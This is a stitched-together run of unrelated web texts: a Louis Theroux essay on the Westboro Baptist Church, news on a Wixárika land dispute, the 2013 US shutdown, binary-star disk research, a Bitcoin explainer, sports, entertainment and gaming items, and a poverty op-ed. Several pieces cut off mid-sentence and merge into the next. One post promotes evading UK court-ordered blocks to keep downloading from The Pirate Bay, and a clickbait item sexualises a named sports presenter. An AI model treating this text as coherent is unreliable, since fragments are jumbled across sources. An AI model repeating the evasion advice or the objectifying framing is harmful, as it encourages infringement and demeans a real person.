Given their eagerness to court controversy, it's not surprising that there are misapprehensions about the WBC. Unlike hate groups such as the Ku Klux Klan, the WBC members never claim to hate gay people themselves, only that God does. I'm pretty sure there was at least one gay man in the congregation of the WBC. Even on the pickets, the Phelps family members could be civil. For most of the Phelpses, the hostility they expressed was a role that they enacted, dictated by a doctrine they had imbibed from their church leader and paterfamilias. You can find videos on YouTube of counter-demonstrators having cordial chats with Phelps picketers. I don't doubt that, if you knocked on the door of one of the second generation of the family, said you had some questions about Jesus, they'd let you in and maybe offer you a glass of water. Pastor Phelps was a different story: he was a hater by instinct.
I'm proud to say he took against me from the moment we met. I asked him how many children he had. He disliked this question – I think he found me trivial. The interview was cut short. Over subsequent days, we continued filming but I hardly saw him. I had the feeling he was hiding from me. We eventually crossed paths again, in church one Sunday after his sermon on the subject of America's coming tribulations, in which he bellowed: "You're going to eat your babies!" One-to-one, Gramps still had the remnants of a folksy, plainspoken charm, but underneath was a bitter contempt for humanity in general and me specifically. I asked him how he could possibly know that the WBC members were the only people bound for heaven. "I can't talk to you – you're just too dumb," he said. It seemed that I was a hellbound sinner. Well, at least I was in good company.
I've heard people speculate that Phelps had repressed gay leanings or that perhaps he was sexually assaulted when he was young, leading to a lasting animosity to homosexuality. Personally, I doubt it. I suspect he had a lasting dislike of the military, which partly explains the picketing of funerals. But there may be no simple explanation for his behaviour. He was just an angry, bigoted man who thrived on conflict. There are credible reports from his disaffected offspring (four of his 13 children left the church) that he was physically abusive to his wife, Marge; he was violent to his children and had an intermittent problem with pills. He was also a lawyer and won some civil-rights cases, receiving an award from the NAACP. But he liked going against the grain.
Members of the Phelps family protesting outside Arlington National Cemetery. Photograph: MCT via Getty Images
The members of the WBC like being attacked for their activities. They thrive on the presence of counter-demonstrators – the patriotic bikers who would sometimes turn up and rev their engines to drown out the WBC's songs at military funerals and also the students who turned out in droves to sing and register their dissent when the WBC held pickets near their campus. For the church, this meant they were getting a reaction and they would quote Bible verses to the effect that being hated by the world was a sign of godliness. Indifference was harder for them to deal with, although they have faced plenty of that as well without being much deterred.
It has been reported that Pastor Phelps had been "excommunicated" from his own church before he died (probably this doesn't mean much more than being prevented from preaching; I doubt he was out wandering the streets). In 2010 I heard a similar rumour. Then, the word was that Gramps was panicking about a multimillion-dollar lawsuit brought against the church by the family of a dead soldier whose funeral they had picketed. (The WBC won the case on appeal.) The rest of the church viewed Gramps' failure of nerve as evidence of lack of faith in God's plan and they put him on the naughty pew for a time-out.
The truth is, despite being its founder and main preacher, Gramps had been a marginal figure within the WBC for some years. When I made my documentaries, the dominant force was Fred's daughter, Shirley Phelps-Roper, a gifted organiser who could sling religious obloquy while holding four separate placards and wearing a bandana with a message of religious hate – in a different context, it would have been impressive. In fact, underneath her programming, and despite all the pain she inflicted in the name of her religion, she is basically a kind person.
Shirley Phelps-Roper on a demonstration with her son, Luke. Photograph: Sipa Press
But my sense is that Shirley has been pushed aside by an axis of WBC men, among them her brothers, Tim and Jonathan, and also the WBC convert Steve Drain, with Steve possibly in the driving seat. This is speculation on my part, but it struck me when I spent time among the WBC members that Steve was the most likely to take over the church. Steve had originally come to the WBC to make a documentary (called Hatemongers) and ended up moving in and bringing his wife and two daughters from Florida. It was striking that he too called Pastor Phelps "Gramps". He had become disconnected from his own parents and found a surrogate family in the Phelps clan. Steve is an intelligent man but arrogant. In personality, he is closer to Pastor Phelps than any of Gramps' natural children. I met and interviewed all three of Pastor Phelps' sons who remain in the church: they all have the slight air of being survivors of an abusive upbringing.
Where the WBC goes from here is anybody's guess. I haven't been following its doings as closely in recent years. Evidently they have attracted new members from outside the family. A few years ago there was news that a US marine and his family had been baptised into the church. Just as striking was the report that a British man had moved to Topeka from England, joined the church and married Jael Phelps. A few weeks ago I found a photo on Twitter of Jael at a picket holding a tiny baby. In its abundant procreation, the family has a guaranteed supply of future recruits.
I don't expect huge changes with Gramps' death. The church has always operated according to the dynamics of a large family rather than a cult. Cults don't typically excommunicate their charismatic leaders. Families do: they put their ageing parents in a granny annex and take away the keys to the car. Maybe, as with other families, the bereavement will bring them together. In another context, that might be a comforting thought. In this case one rather wishes that the second generation would continue to feud and fragment – and perhaps in the process moderate their way of thinking and get in touch with some of the apostate children they no longer see.
The more chilling thought is a backward-looking one, of how one man's legacy is likely to continue. Gramps' offspring, and their offspring, have been raised to believe that abuse is kindness. The natural bonds of family have been braided into this twisted thinking so that children who love their parents and siblings can't separate those feelings from their sense of obligation to the church and its creed. And when they leave they also take with them the nagging guilt and fear that haven't just lost a family: they have lost their only chance of salvation.
• Louis Theroux's LA Stories, Sundays, 9pm, BBC2
• This article was amended on 26 March 2014. An earlier version said Phelps had attended West Point military academy. Although he was admitted to West Point he decided instead to enrol for ministerial training.Featured image: The Wixárika community of San Sebastian Teponahuaxtlán or Wuaut+a is preparing to send 1,000 members to the remote Nayarit community of Huajimic to take back from the ranchers lands that the courts have ruled belong to the Wixárika. Photo from Facebook/San Sebastian Teponahuaxtlán.
by Tracy Barnett / Intercontinental Cry
A contingent of at least 1,000 indigenous Wixárika (Huichol) people in the Western Sierra Madre are gearing up to take back their lands after a legal decision in a decade-long land dispute with neighboring ranchers who have held the land for more than a century.
Ranchers who have been in possession of the 10,000 hectares in question for generations say the seizure is unlawful and that they will not hand over the land — setting the scene for a showdown that observers fear may end in violence.
Leaders of the Wixárika community of San Sebastian Teponahuaxtlán have announced their plans to accompany the authorities of the federal agricultural tribunal to carry out an enforcement action on the first parcel, a 184-hectare ranch in the state of Nayarit, on Sept. 22, and called on state and federal law enforcement officials to send police forces to prevent a conflict. Until the time of publication, neither the Nayar |
joked about not looking forward to facing the Uruguayan on the pitch.
"I don’t think anyone ever looks forward to playing against Luis Suarez, he is a fantastic talent and a very dangerous player," he continued.
"He is a good friend of mine, someone I enjoyed playing with and the same for Mascherano."
On the Barça midfielder, Gerrard added: "He’s a little warrior, a top player who has done unbelievably well at Barcelona."
Mascherano, though, due to his Copa America participation, will not be involved against LA Galaxy.[/caption]
Fanciful science fiction and space art frequently depict the lovely visage of a twin sunset where a pair of binary stars dips below the horizon (think Star Wars). While it has been established that planets could exist in such a system by orbiting in resonances, that only holds true for fully formed planets. Can forming star systems even support an accretion disk from which to form planets? This is the question a new paper by M. G. Petr-Gotzens and S. Daemgen of the European Southern Observatory with S Correia from the Astronomiches Institut Potsdam attempts to answer.
Observations of single young stars with disks have revealed that the main force causing the dispersion of the disk is the star itself. The stellar wind and radiation pressure blow the disk away within 6 to 10 million years. Predictably, more massive and hotter stars will disperse their disks more quickly. However, “many stars are members of a binary or multiple system, and for nearby solar-like stars the binary fraction is even as high as ~60%.” Could gravitational perturbations or the added intensity from two stars strip disks before planets could form?
To explore this, the team observed 22 young and forming binary star systems in the Orion Nebula to look for signs of disks. They used two primary methods: The first was to look for excess emission in the near infrared. This would trace accretion disks as they radiate away absorbed energy as heat. The second was to look spectroscopically for specific bromine emission that is excited as the magnetic field of the young star pulls this (and other) elements from the disk onto the stars surface.
When the results were analyzed they found that as much as 80% of the binary systems had an active accretion disk. Many only contained a disk around the primary star although nearly as many contained disks around both stars. Only one system had evidence of an accretion disk around only the secondary (lower mass) star. They authors note, “[t]he under-representation of active accretion
disks among secondaries hints at disk dissipation working faster on (potentially) lower mass secondaries, leading us to speculate that secondaries are possibly less likely to form planets.”
However, the average age of the stars observed was only ~1 million years. This means that, even though disks may be able to form, the study was not comprehensive enough to determine whether or not they would last. Yet a survey of the currently known extra-solar planets reveal that they must. The authors comment, “[a]lmost 40 of all the extra-solar planets discovered to date reside in wide binary systems where the component separation is larger than 100AU (large enough that planet formation around one star should not strongly be inuenced [sic] by the companion star).”
Strangely, this seems to stand at odds with a 2007 paper by Trilling et al. which studied other binary systems for the same IR excess indicative of debris disks. In their study, they determined “[a] very large fraction (nearly 60%) of observed binary systems
with small (<3 AU) separations have excess thermal emission.” This suggests that such close systems may indeed be able to retain disks for some time. It is unclear on whether or not it can be retained long enough to form planets although it seems unlikely since no exoplanets are known around close binaries.The sun rises on the U.S. Capitol dome as the prayer group Faithful Filibuster — Carol Busroe, Gary Cook, Jim Wallis and Ray East — pray for a solution to end the shutdown and extend the Treasury Department’s borrowing power.
Oct. 16, 2013 The sun rises on the U.S. Capitol dome as the prayer group Faithful Filibuster — Carol Busroe, Gary Cook, Jim Wallis and Ray East — pray for a solution to end the shutdown and extend the Treasury Department’s borrowing power. Melina Mara/The Washington Post
The federal government is in the third week of a shutdown while Congress worked out a deal to fund its operations and to avoid a possible default because of the debt limit.
Meanwhile, furloughed federal workers express their displeasure as the government shutdown headed into its third week.
Meanwhile, furloughed federal workers express their displeasure as the government shutdown headed into its third week.
What started as a mad dash to strike a deal to lift the federal debt limit slowed to a crawl over the weekend as stalemated Senate leaders waited nervously to see whether financial markets would plunge Monday morning and drive the other side toward compromise.
Republicans seemed to think they had more to lose. After talks broke down between President Obama and House leaders, GOP senators quickly cobbled together a plan to end the government shutdown — now entering its third week — and raise the $16.7 trillion debt limit. Senate Minority Leader Mitch McConnell (R-Ky.) then asked Majority Leader Harry M. Reid (D-Nev.) to elevate negotiations to the highest level.
On Sunday — with the Treasury Department due to exhaust its borrowing power in just four days — Reid was wielding that leverage to maximum advantage. Rather than making concessions that would undermine Obama’s signature health-care initiative, as Republicans first demanded, Democrats are now on the offensive and seeking to undo what has become a cherished prize for the GOP: deep agency spending cuts known as the sequester.
Reid and McConnell spoke only once Sunday, a telephone call in the afternoon, aides said. As he closed a rare Sunday session of the Senate, Reid characterized the conversation as “productive” and “substantive.”
“I’m optimistic about the prospects for a positive conclusion to the issues before this country today,” he said.
With legislative action stalled on Capitol Hill, lawmakers are getting creative with where they shine the spotlight on the government shutdown. (The Washington Post)
But the shift in focus away from the imminent threat of a first-ever default on the U.S. debt sparked outrage among Republicans and alarm among the world’s financial leaders, meeting this weekend in Washington.
Christine Lagarde, managing director of the International Monetary Fund, warned on NBC’s “Meet the Press” that a failure by the United States to make scheduled payments to investors “would mean massive disruption the world over. And we would be at risk of tipping yet again into a recession.”
Republicans, meanwhile, said any agreement to back away from the sequester cuts would be opposed by GOP senators and doomed in the Republican House.
The fight over the debt limit is “typically a point where you try to create reforms and reduce deficits, so to agree to something that raises spending from previously agreed-to levels, I just can’t imagine that,” said Sen. Bob Corker (R-Tenn.). “I just can’t imagine how that has any possibility of becoming law.”
Democrats insisted that they have no interest in rolling back the sequester cuts now. Reid noted that the Senate had already approved and sent to the House a measure that would leave the cuts in place through the middle of November, with “not a word about breaking [spending] caps,” Reid said on the Senate floor.
Instead, Democrats said they objected to a debt-limit plan developed by Sen. Susan Collins (R-Maine) because it would permit the cuts to stay in place through March, allowing another round of sequester cuts to hit on Jan. 15.
At that point, agency spending for fiscal 2014, which began Oct. 1, would be on track to fall roughly $90 billion lower than Democrats have proposed. And with the fiscal year half over, Democrats would have scant opportunity to renegotiate the numbers, a top priority.
On Sunday, Democrats familiar with the talks said Reid was pressing McConnell to accept a quicker deadline on a temporary measure to fund federal agencies and reopen the government and a longer deadline for raising the debt limit. Collins’s proposal would extend the Treasury Department’s borrowing authority only until the end of January.
“The plan would be, open up the government immediately for a period of time before the sequester hits [on Jan. 15] and then have serious discussions where we might be able to undo the sequester,” Sen. Charles E. Schumer (D-N.Y.), the No. 3 Democrat in the Senate, said on CBS’s “Face the Nation.” “I’m optimistic that could work.”
Schumer noted that House Republicans have already offered to roll back the sequester cuts in a proposal the White House rejected Friday. That plan would have immediately suspended enforcement of the debt limit and reopened the government in exchange for a plan to replace sequester savings in 2014 (and perhaps longer) with reductions to Social Security and Medicare proposed in Obama’s budget.
“That was one place where the House Republicans and the president were not, you know, at total loggerheads,” Schumer said, suggesting that a deal could be cut if Republicans would consider new revenue along with cuts to entitlement programs.
McConnell appeared to be far less optimistic. The sequester cuts are part of $2.1 trillion in agency spending cuts over 10 years included in the Budget Control Act, the measure that raised the debt limit in 2011. Initially, Republicans, too, wanted to replace the sequester, particularly the portion that falls on the Pentagon. But since Obama won tax hikes on the wealthy as part of a year-end fight over the “fiscal cliff,” McConnell has taken to casting the sequester as a significant GOP victory from which the party cannot retreat.
“I think our main goal going into the year-end discussion is to not walk away from the bipartisan agreement that we made two years ago to reduce spending,” he told reporters this summer.
On Sunday, McConnell maintained a stony silence, failing to show up at the Capitol for his usual opening speech on the Senate floor. Instead, he issued a statement throwing his support for the first time behind the Collins proposal, calling it a “bipartisan plan” brokered with five other GOP senators and six senators who caucus with Democrats.
“It would reopen the government, prevent a default... and maintain the commitment that Congress made to reduce Washington spending through the Budget Control Act — the law of the land,” McConnell said. “It’s time for Democrat leaders to take ‘yes’ for an answer.”
Some Democrats tend to agree with McConnell. During a caucus meeting Saturday, Reid and his leadership team spent more than an hour arguing to Democrats anxious about default that the Collins plan is not a good deal for the party. On Sunday, Sen. Joe Manchin III (W.Va.), one of the Democrats working with Collins, defended the proposal on “Fox News Sunday” as having “a little bit of move for everybody. In a divided government, you can’t have it all your way.”
Soon after McConnell’s statement appeared, however, the Collins collaborators hustled into Reid’s office just outside the Senate chamber. Some of them were still inside when a joint statement was issued on behalf of Sens. Heidi Heitkamp (D-N.D.), Mark Pryor (D-Ark.), Amy Klobuchar (D-Minn.), Angus King (I-Maine) and Joe Donnelly (D-Ind.) “responding to Senator McConnell’s comments.”
“We have been involved in productive, bipartisan discussions with Senator Collins and other Republican senators,” the statement said, “but we do not support the proposal in its current form.”
An hour later, an update appeared adding Manchin’s name. “NOTE,” it said: “Senator Manchin was unavailable when the original statement was sent out.”
Treasury Secretary Jack Lew has said that if Congress fails to lift the debt limit, he will exhaust his borrowing authority on Thursday. At that point, he will have to rely on a cash balance of about $30 billion and incoming revenue to pay the nation’s bills.
Independent analysts say Lew will not begin missing payments immediately but will begin to run short of funds no later than Nov. 1, when nearly $60 billion is due to Social Security recipients, Medicare providers, active-duty military service members and civil-service retirees.
Investors are next due to collect interest on Treasury bonds — perhaps the most important payments from the perspective of global markets — on Oct. 31.
Still, many lawmakers are leery of missing the Thursday deadline — particularly Republicans, who are already getting hammered in public opinion polls over the government shutdown. The Dow Jones industrial average soared Friday on news that Obama and congressional Republicans were finally talking.
“Look, I guess we can get lower in the polls. We’re down to blood relatives and paid staffers now,” Sen. John McCain (R-Ariz.) joked on “Face the Nation.” “But we’ve got to turn this around. And the Democrats had better help us.”
Jeff Simon contributed to this report.Video transcript
But what I wanted to do in this video is talk about what a bitcoin is in more general terms and what differentiating characteristics they have compared to other approaches. So for starters, bitcoin is just an electronic payment system. By electronic payment system, I mean it's just a vehicle, a conduit, by which two parties can transact over the internet. I call these parties Alice and Bob. And let's say Alice for whatever reason wants to give money to Bob over the internet. And this may be because she owes Bob money, or maybe Bob is a merchant and Alice is buying something from Bob. Or maybe Bob is a not-for-profit, and Alice is making a donation to Bob. So there could be many reasons why Alice is trying to pay Bob over the internet in some capacity. Now, if Bob is willing to accept bitcoins, which are a form of electronic payments, then Alice can go ahead and send Bob some value in bitcoins. And really, a bitcoin transaction between Alice and Bob amounts to a specially constructed sequence of numbers that Alice will basically send over to Bob. And this will be done entirely over the internet. These numbers will have certain mathematical properties. They make it hard for someone to really defraud the system or to conduct some type of nefarious action on the system. And the way that Alice is actually going to conduct this transaction in practice is either by installing a special piece of software, which we call a bitcoin client, or she can work with a third-party service that can handle these mechanics for her. But in either case, either the client or the service is going to generate these numbers for Alice. And on the flip side, Bob will also typically either have a piece of software installed or he'll use a third-party service that will take these numbers and allow him to do something else with those numbers. For example, Bob can in turn buy something on his own with those numbers, or he can trade those numbers in for real money and so on and so forth. Now, one of the first questions you might have-- and I kind of alluded to this earlier-- is why would Bob even want to accept bitcoins in the first place? After all, a bitcoin is just a bunch of numbers. What intrinsic value would it conceivably have? And it turns out, quite surprisingly, that bitcoins actually have real-world value. There are more and more merchants popping up each day who accept bitcoins for transactions. There are also bitcoin exchanges, places where you can go and exchange bitcoins for more mainstream currencies. And some of exchanges include-- the major one is one called Mt. Gox. And at Mt. Gox you could exchange a bitcoin for a euro or yen or dollar and so on and so forth. Now the current price of a bitcoin, the current value of a bitcoin in US dollars as of this video, is approximately US$100. per bitcoin. That number is fluctuating. This is a new currency, and there's going to be some fluctuation. But as people understand the currency better, the hope is that that fluctuation will decrease. But I think ultimately, the thing to keep in mind is that the value of a bitcoin is going to be derived from the faith that you have in the value of what you can procure with that bitcoin. It's just like you would for a dollar, a euro or yen. The faith that you have in that currency's value is how you value that currency. Now another question you might have is why do people even bother with bitcoins in the first place. Aren't there other more standard ways? Why couldn't Alice and Bob use Paypal? Why couldn't they use a credit card number to transact? Why couldn't Alice just sent Bob an electronic check? Why not use one of these other approaches that are more well understood, that are more mainstream, that are more established? Why on earth would you possibly want to mess with a good thing? So it turns out that there are a few properties of bitcoins that are worth noting. For starters, there's privacy. It turns out that within the bitcoin ecosystem, within the bitcoin network, people can transact without divulging who they are in the real world. From the perspective of bitcoin, Alice's identity is just going to be a sequence of numbers. And that sequence of numbers is effectively going to function like a pseudonym for Alice. And that sequence of numbers has nothing to do with your real-world identity. Nobody needs to know this is Alice transacting. All they need to worry about is their pseudonym within the system. And this is kind of but not quite like what you would get if you bought something using cash. In that capacity, when you buy something using cash, then you don't have to provide any details or proof regarding who you are in the real world. And that's different from, let's say, using a credit card, where you have to provide your name and your billing address and so on. Or let's say providing an electronic check, where you need to tie that electronic check, typically your bank account details. Now, I do want to also mention here that sometimes when you have a cash list or a transaction that uses cash, there is now the possibility that people might try to use these transactions for malicious purposes to buy illicit goods and services. That definitely is a risk that occurs when you provide anonymity and privacy. But there are certainly legitimate reasons why somebody might want to conduct a transaction privately and not have the whole world know what they're transacting. Another property of bitcoin is that it's open. Literally anyone can get involved. Literally anyone who was an internet connection can make a bitcoin transaction. And all you need to do to get started is, as I alluded to earlier, is download this special bitcoin client. And the bitcoin client, or for that matter you can use a service like Mt. Gox which will effectively do the same work as a client for you. But the short of it is that anyone who has a bitcoin client or who has an account with an exchange like Mt. Gox can engage in bitcoin transactions. That transaction, the details of it, the mechanics of it will be transparent to the user. All the user has to worry about-- all Alice needs to worry about-- is how much money she has and whether she can give that money to Bob. The actual software underneath will take care of all the underlying mechanics of making that transaction work. Now, this is different. When you think about a traditional currency like a dollar, if I want to transact something online, typically I need a bank account, I need a credit card, and so on and so forth. Then we often take it for granted that there are people out there who may not have access to a credit card, who may not have a bank account. For example, in the United States alone it turns out-- and I just looked this up-- the number of households without a bank account, I read it, is somewhere north of about 8%. It's pretty high. There are a lot of people out there who wouldn't be able to conduct a traditional internet transaction, but who can conduct a transaction using bitcoin. And by the way, there are people using bitcoin all over the world. And literally it doesn't matter where you are in the world, as long as you have an internet connection, you can start transacting bitcoins. Now, another property of bitcoin that's worth mentioning is that it's decentralized. There's no bank or centralized entity that can really control what's happening in the bitcoin ecosystem. It's all done in this kind of ad hoc fashion. And what that means is that when you do a transact-- or when Alice transacts with Bob over the internet, that transaction doesn't have to go through a third party. There's no bank that gets in the way of that transaction. And that can have certain benefits as well. For example, that means that no one entity can directly control the money supply of bitcoins. That also means that no one entity can see your assets. Or for that matter, no one entity can reverse a transaction, which is definitely desirable for certain merchants. Some merchants might not be able to conduct business online because of fraud concerns. And if you have a system where the transactions cannot be charged back easily, then from the merchant's perspective, they may be able to inhibit fraud and thereby that might enable their business entirely online. Now I want to point out that this last property of decentralization definitely causes concern among some people or not in bitcoin after all. When you think about it, a central authority like a bank does perform an important function in the context of a traditional currency. For example, banks might validate currencies. They might validate transactions against fraud. Now, in bitcoin, this validation is basically done in a decentralized way by the other parties, the other nodes, in the bitcoin network. Now, the goal of the remaining videos in this series is to walk through the underlying mechanics of bitcoin transactions and really how they're validated, even though the system is decentralized. And there are some pretty amazing techniques that are used to make all this work. So I suspect that at this point, you may have a ton of questions about bitcoin, and that's entirely to be expected. Bitcoin is a very complex protocol. It has many moving parts. And I think it's critical when you're trying to understand something as complex and wrap your head around something as sophisticated as bitcoin, it's important to get exposed to all the parts first so that you can ultimately get a flavor for how they fit together. And hopefully the other videos in this series will help you to understand these different parts and along the way address many of the questions that you might have.Emily VanCamp has been cast as the female lead in Fox’s medical drama “The Resident,” Variety has learned.
The pilot marks her return to broadcast television, following a starring run on ABC’s “Revenge,” which ended after four seasons.
“The Resident” follows an idealistic young doctor who begins his first day under the supervision of a tough, brilliant senior resident who pulls the curtain back on all of the good and evil in modern day medicine. VanCamp will play Nicolette, who goes by Nic, and is described as “the attractive nurse” and on-screen love interest to Matt Czuchry, who plays Conrad Hawkins, a cocky third-year resident.
“The Resident” hails from scribes Amy Holden Jones, Hayley Schore, and Roshan Sethi. Holden Jones, Oly Obst, and Antoine Fuqua are executive producers, while Schore and Sethi are co-executive producers. Phillip Noyce is directing the pilot. Fuqua Films and 3 Arts Entertainment are producing with 20th Century Fox Television.
Aside from VanCamp and “Gilmore Girls” alum Czuchry, the cast is rounded out by Shaunette Renee Wilson, Manish Dayal, and Bruce Greenwood.
Before starring on “Revenge,” VanCamp starred on ABC’s “Brothers & Sisters” and “Everwood” on the WB. She’s also Sharon Carter aka Agent 13 in the “Captain America” Marvel movie franchise. She is repped by UTA, Thruline Entertainment, and Ziffren Brittenham.Mayanti Langer, She is Sexiest news Anchor in India. Mayanti Langer is an Indian TV sports journalist with ESPN. She has hosted many tournaments like Football Cafe on Zee Sports, 2010 FIFA World Cup broadcast on ESPN, 2010 Commonwealth Games, 2011 Cricket World Cup and many more. Mayanti Langer is an Indian TV sports journalist with ESPN. She has hosted many tournaments like Football Cafe on Zee Sports, 2010 FIFA World Cup broadcast on ESPN, 2010 Commonwealth Games, 2011 Cricket World Cup, 2014 Indian Super League, 2015 ICC Cricket World Cup and 2018 Indian Premier League and many more.
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After Binny’s inclusion in the Indian squad for World Cup, the couple has received ample limelight. Mayanti has got flamboyant looks and appealing body. The lady has become a hot debate among youths. Some people are even comparing her with Virat Kohli’s girlfriend and Bollywood actress Anushka Sharma.
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She married Binny in 2012.
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Click Here For 25 Pics Of Sexy Archana Vijaya Hot | IPL Host & TV AnchorThere are reasons for Bay Area football fans to watch the Sun Bowl even though Stanford star Christian McCaffrey isn’t playing.
Atop the list is the player atop the lists: North Carolina junior Mitch Trubisky, projected to be the No. 1 quarterback picked in the upcoming NFL draft, could be starting for the 49ers next season.
“I don’t believe there’s a first-round quarterback outside of Trubisky,’’ ESPN analyst Mel Kiper said. “Teams reach for quarterbacks, overdraft quarterbacks, all the time.”
Several steps separate Trubisky, who reportedly received a first-round grade from the NFL’s Draft Advisory Board, from becoming the franchise quarterback at Levi’s Stadium.
*** He must leave school, and that’s not a given. Trubisky plans to delay the decision until after the Sun Bowl on Friday. (The deadline for early-entry players to declare for the draft is Jan. 16.)
*** The 49ers must be in position to select Trubisky. They’re currently slotted for the No. 2 pick, with quarterback-needy Cleveland holding the top spot.
*** Management must determine Trubisky is worth the investment.
“For all of Trubisky’s talent,’’ CBSSports.com draft analyst Rob Rang noted in an email, “the fact that he was unable to earn a starting role until this, his third full season with the Tar Heels, is a bit disconcerting.’’
Trubisky’s climb up the draft boards has been as swift as that of any quarterback in recent years.
Raised in Mentor, Ohio, he was a coveted but less-than-marquee prospect who earned three stars from major recruiting services.
He sat out his first season at North Carolina, then was a backup for two years before taking over the starting job for the 2016 season.
Trubisky’s 12 starts to date constitute the entirety of his relevant college career. But he made the most of it, completing 68.9 percent of his passes, with 28 touchdowns and only four interceptions
Quarterback is the toughest position to evaluate, by far. Trubisky’s limited experience makes the process more complicated by an order of magnitude.
“We’ve had quarterbacks with fewer starts that didn’t go in the first round,’’ Kiper said. “But for a first-round quarterback, maybe a top-10 pick and maybe a No. 1 pick overall, (it) has to be a little bit bothersome.”
Adding to the dilemma: Only a handful of Trubisky’s starts will have come against defenses with enough future pros to provide a sound basis for evaluation.
He shredded Florida State and Miami and was brilliant against Pittsburgh, whose coach, Pat Narduzzi, is one of the sharpest defensive minds in college football.
An efficient performance against Stanford could frame the top of the draft.
You can see him going in the first round,” said Cardinal defensive coordinator Lance Anderson, who has studied all of Trubisky’s starts.
“You watch him and see that he’s improved as the year has gone on. You see him make better decisions. He has good footwork, he can keep the ball in the zone read, he’s accurate, and he can make all the throws. He’s got a lot of tools.”
Trubisky’s lack of meaningful experience would be a red flag if not for those tantalizing tools, which fit the model for quarterbacks selected No. 1 overall.
There’s also the small matter of supply and demand. More teams at the top of the draft need quarterbacks than there are quarterbacks worthy of being taken at the top of the draft.
Trubisky is viewed as the best of a mediocre group that includes Notre Dame’s DeShone Kizer and Clemson’s Deshaun Watson.
“Let’s get this out of the way,’’ ESPN’s Todd McShay wrote in his latest mock draft. “No QB in this class is worth the No. 1 pick.’’
Rang’s assessment of Trubisky was a tad more nuanced.
“He’s not as safe a prospect as any of the four quarterbacks taken with the No. 1 or No. 2 overall picks in the past two drafts,’’ Rang said, referring to Jameis Winston, Marcus Mariota, Jared Goff and Carson Wentz.
“But need at the position could earn him this high of a selection anyway.”A game writer at a large convention will occasionally book a variety of meetings with a company just to be polite. Such was the case with the latest Mortal Kombat game. I agreed to the meeting only because of my interest in Batman: Arkham City, as both games are being published by Warner Bros. In such cases, writers go into the meeting, dutifully play for a few minutes while listening to the pitch, and never think of the game again. Yes, it sounds dishonest, but it's also a defense mechanism against being overwhelmed.
Here's the problem with that plan: Mortal Kombat is very good. The 15-minute meeting I had with the game turned into an hour of simply playing it and talking about it, concluding with the PR folks prying the arcade stick out of my hands. Here's why I fell in love with this bloody return to form.
Single-player!
Fighting games usually reserve their fun for multiplayer, but Mortal Kombat will have a number of ways to play solo. There is a fatality training mode so you can practice the ultra-violent finishing moves, as well as the Challenge Tower, a series of 300 challenges that will teach you how to become a master fighter while throwing gimmicks and new gameplay ideas at you.
During one challenge you'll have to throw grenades into a moving bucket, which teaches you how to aim the explosives. In another, you'll be forced to beat a particular character and then finish with a fatality. In others you'll simply have to master a series of moves. Test Your Might challenges are back, as well as Test Your Sight, which is sort of like a shell game but with human heads.
Test Your Luck is a new idea, featuring a slot machine-like device that offers up random challenges. For instance, the slots may spin to pick a character to fight, and then disable jumping, and then take away special moves. It feels almost like mutators from the older Unreal Tournament titles, but in a fighting game. You'll never know how the match will play out. Some will be harder than others, but it's always fun.
Well, almost. Screw Baraka. Seriously. I wish I could fail at doing Sonya's fatality at the end of the challenge, but I couldn't beat the ugly mutant. There's nothing greater than not being able to lose the second part of the challenge because you're so busy failing at the first part while the PR reps around you are looking for some way |
he counted on a major tax cut to inject billions of dollars “into the private spending stream to create new jobs and new markets in every area of this land.”
Conservatives sometimes claim, as Sen. Marco Rubio (R-Fla.) did recently, that the federal government is “incapable” of providing effective help to poor people, and that we should rely instead on “the single greatest engine of upward mobility in human history: the American free enterprise system.”
“Mobility” is often taken to mean that individuals can move up or down in the income distribution. Even in that sense, the United States lags behind other affluent democracies in economic mobility. But more importantly, no amount of churning will put a dent in poverty unless the incomes of the poor increase in absolute terms. That is where the American free enterprise system has failed abjectly over the past half-century.
According to Rubio, “our federal government is a major impediment to the enterprise and ingenuity of our people. An expensive tax code, burdensome regulations and an unsustainable national debt are suffocating our economy’s ability to create enough steady and good paying jobs. That is why poverty and inequality have only gotten worse under the current administration.” But then, when was it that “real American free enterprise” produced “a broad and growing economy that creates opportunities for everyone to get ahead”? Republicans held the White House for most of the past 50 years, and they presided over even slower growth for poor and middle-class families than Democrats have.
The first part of Rubio’s claim is wrong, too. Far from being “incapable” of alleviating poverty, federal programs are responsible for much or all of our progress on that score since the 1960s. The official poverty rate in 2012 was 15 percent, slightly higher than it was in 1967. But that official rate is quite misleading due to antiquated assumptions and methodological flaws. Most importantly, it fails to count many of the resources provided to poor people by government anti-poverty programs.
The Census Bureau has recently started providing a much better Supplemental Poverty Measure, and a team of scholars at Columbia University has produced a comparable measure from 1967 to the present. Their calculations show that poverty by this measure has declined by about one-third since Johnson’s War on Poverty began, from 25 percent in 1967 to 16 percent in 2012. That is a substantial, albeit partial, success. They also show that this substantial decline is entirely attributable to the expansion of Social Security, food stamps, the Earned Income Tax Credit and a wide variety of other government programs. Without this expanded safety net, the poverty rate today would be almost 29 percent, adding another 40 million people to the ranks of America’s poor.
The expanded safety net has contributed significantly to reducing poverty in America over the past half-century; but our market economy has not. On one front, as Zachary Goldfarb wrote recently, the War on Poverty has been “a resounding success”; on the other, “a failure.” It would be foolhardy to launch a new offensive without recognizing which is which.0 SHARES Share Tweet
The week started with the British High Court ordering UK Internet Service Providers (ISPs) BT, Everything Everywhere, O2, TalkTalk and Virgin Media to block. Read on how to laugh at the block and continue using the site.
The problem with banning the approach to a specific website is the fact that we still live in unregulated Internet (even though ACTA and CISPA are seriously endangering current state of play), and such bans are fairly easy to avoid. For example, if you live in the UK and are affected by the recent High Court order to ban access to The Pirate Bay, it should not be an issue to access the site – if you are one of users of The Pirate Bay, that is.
The easiest way is to use services such as the Anonymouse.org, a website which was designed to answer the two Great Internet Firewalls of Great Britain and Germany. As you are probably aware, the governments of Great Britain, Germany and Australia all just love to bash the Chinese government for censoring the access to the Internet – while they are censoring access to its own citizens as well.
We even noticed a website setup to enable you to search The Pirate Bay (and other websites) with minimal amount of work, located on the following address:
Keep Downloading in The Pirate Bay
Now, instead of all the fuss about illegal sites, which can't be stopped just like the grey economy cannot be stopped (in fact, some governments use it as a leverage against organized economies), why not work on a global, restriction-free distribution network for content? After all, if you did not learn the lesson that people want to pay for content when the option is given (it is in human nature to own something, not steal something) with Amazon, Apple iTunes, App Store, Valve's Steam, Hulu, Netflix etc…Way's Notes
HI
some lovely people sent me emails and told me the source for that gif from the last issue which was Michel Gondry’s video for Bjork’s "Hyperballad" so thank you! god you're all awesome. I still need to email you back, been way out this week. that's coming as soon as i get my head screwed on straight again
